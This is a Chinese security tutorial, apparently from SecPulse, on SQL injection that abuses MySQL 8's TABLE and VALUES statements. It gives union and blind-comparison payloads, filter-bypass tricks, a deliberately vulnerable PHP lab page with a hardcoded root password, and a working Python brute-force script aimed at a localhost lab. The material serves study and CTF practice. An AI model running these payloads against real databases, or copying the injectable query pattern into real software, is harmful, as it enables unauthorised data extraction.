一篇文章弄懂mysql8新特性注入 - SecPulse.COM | 安全脉搏
如何安装新版本mysql8:
mysql8.0.20安装配置教程 - mysql安装配置教程 - 博客园
table关键字的语法:
TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]
其作用是直接列出表的整个内容:

与SELECT的区别:
1.TABLE始终显示表的所有列 2.TABLE不允许对行进行任意过滤,即TABLE 不支持任何WHERE子句
VALUES关键字可直接通过给出值的方式直接组成一个表
VALUES ROW(1,2,3),ROW(1,1,1),ROW(1,2,3);

可以利用联合注入
(table information_schema.TABLESPACES_EXTENSIONS limit 6,7);

返回结果是user/users



可以采用 table 和 小于号进行盲注,table 始终显示表的所有列,我们可以注其中一个字段,这里过滤了 or 所以打算采用另一个存储数据库名和表单名的视图 sys.schema_tables_with_full_table_scans, 这个视图本身的数据少方便我们搜寻,过滤了 and 和 or 可以采用 && 或者 ||


查询出有四个字段,所以构造比较时候也要四个
第一个是库所以这个方法也可以爆库名,第二个是表,需要查表名就控制第二个字段

当字符大小超过正确表名时,无回显




最后一个字段很特殊,最后一个字段的最后一个字符,第一次不回显的结果正确
也就是当最后一次回显时候+1是正确结果

index.php
- require "config.php";
-
- $conn = mysqli_connect($dbhost,$dbuser,$dbpass,$dbname);
-
- highlight_file(__FILE__);
- $id = isset($_POST['id']) ? $_POST['id'] : 1;
- if (preg_match("/(select|and|or)/i", $id) == 1) {
- die("MySQL version: " . $conn->server_info);
- }
- $data = $conn->query("SELECT username from users where id = $id");
- foreach ($data as $users) {
- echo($users['username'] );
- }
config.php
- // config.php
- $dbhost = '127.0.0.1'; // mysql服务器主机地址
- $dbuser = 'root'; // mysql用户名
- $dbpass = '123456'; // mysql用户名密码
- $dbname = 'user'; // mysql数据库
- $conn = mysqli_connect($dbhost,$dbuser,$dbpass,$dbname);
- ?>
库:user 表:users

爆库:

字符比较来盲注库名,表名:
id = -1 ||('user','users','','')<(table sys.schema_tables_with_full_table_scans limit 0,1);
盲注字段内容:
id = 0 ||('1','zhangsan','123456')<(table users limit 0,1);
脚本:
- # -*-coding:utf-8-*-
- import requests
-
- def bind_sql():
- flag = ""
- dic = "~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/-,+*)(&%$#!"
- for i in range(1000):
- f = flag
- for j in dic:
- _ = flag + j
- #payload = "id=0||(binary'{}','',3,4)<(table/**/sys.schema_tables_with_full_table_scans/**/limit/**/0,1)".format(_)
- #payload = "id=0||('user',binary'{}',3,4)<(table/**/sys.schema_tables_with_full_table_scans/**/limit/**/1,1)".format(_)
-
-
- payload = "id=0||(binary'{}','')<(table/**/ctf/**/limit/**/0,1)".format(_)
- #payload = "id=0||('2','lisi',binary'{}')<(table/**/users/**/limit/**/1,1)".format(_)
- #payload = "id=0||('2',binary'{}','')<(table/**/users/**/limit/**/1,1)".format(_)
- #print(payload)
- data = {
- "id": payload
- }
- res = requests.post(url=url, data=data)
- if 'zhangsan' in res.text:
- # 匹配字段最后一位需要加1, 也就是匹配出 admim 其实是 admin
- if j == '~':
- flag = flag[:-1] + chr(ord(flag[-1])+1)
- print(flag)
- exit()
- flag += j
- print(flag)
- break
- if flag == f:
- break
- return flag
-
- if __name__ == '__main__':
- # input url
- url = 'http://localhost:8088/study/mysql8/'
- result = bind_sql()
- print(result)